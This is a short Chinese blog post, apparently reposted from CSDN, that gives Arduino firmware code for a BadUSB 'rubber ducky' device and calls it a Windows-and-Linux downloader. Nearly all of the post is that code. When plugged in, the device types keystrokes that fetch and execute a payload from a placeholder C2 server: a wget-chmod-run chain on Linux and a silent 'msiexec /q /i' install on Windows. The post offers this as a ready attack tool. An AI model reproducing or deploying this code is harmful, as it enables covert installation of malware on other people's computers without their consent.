BadUSB橡皮鸭Win&Linux通用下载者

TB上买橡皮鸭USB开发板，也叫BadUSB，二三十块钱一个，可以通过简单编程将逻辑刷入USB固件中，插入电脑的时候，模拟键盘按键，自动执行特定逻辑。

下面是我写的一个兼容Windows和Linux的键盘按键，完成远程下载执行的功能，

#include <Keyboard.h>

// C2 Server 
String szURL = "http://IP/";

void win(){
   // Open CAPS_LOCK
   Keyboard.press(KEY_LEFT_SHIFT);
   Keyboard.release(KEY_LEFT_SHIFT);
   
   
   // Win + R
   Keyboard.press(KEY_LEFT_GUI);
   delay(150);
   Keyboard.press('r');
   Keyboard.releaseAll();
   delay(300);
   
   // msiexec /q /i http://IP/win.msi
   Keyboard.print("msiexec /q /i ");
   Keyboard.print(szURL);
   Keyboard.print("win.msi");
   
   // Enter
   Keyboard.press(KEY_RETURN);
   Keyboard.press(KEY_RETURN);
   Keyboard.releaseAll();
}

void linux(){

  // Open Terminal
   Keyboard.press(KEY_LEFT_ALT);
   Keyboard.press(KEY_F2);
   delay(150);
   Keyboard.releaseAll();
   delay(300);
   
   // Download and Execute
   Keyboard.print("wget ");
   Keyboard.print(szURL);
   Keyboard.print("xxoo -O xxoo && chmod +x xxoo && ./xxoo");
   Keyboard.press(KEY_RETURN);
   Keyboard.releaseAll();
}

void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(5000);
  linux();
 
  delay(1000);
  win();
  Keyboard.end();

}

void loop() {
  // put your main code here, to run repeatedly:

}

来源：https://blog.csdn.net/cssxn/article/details/100899459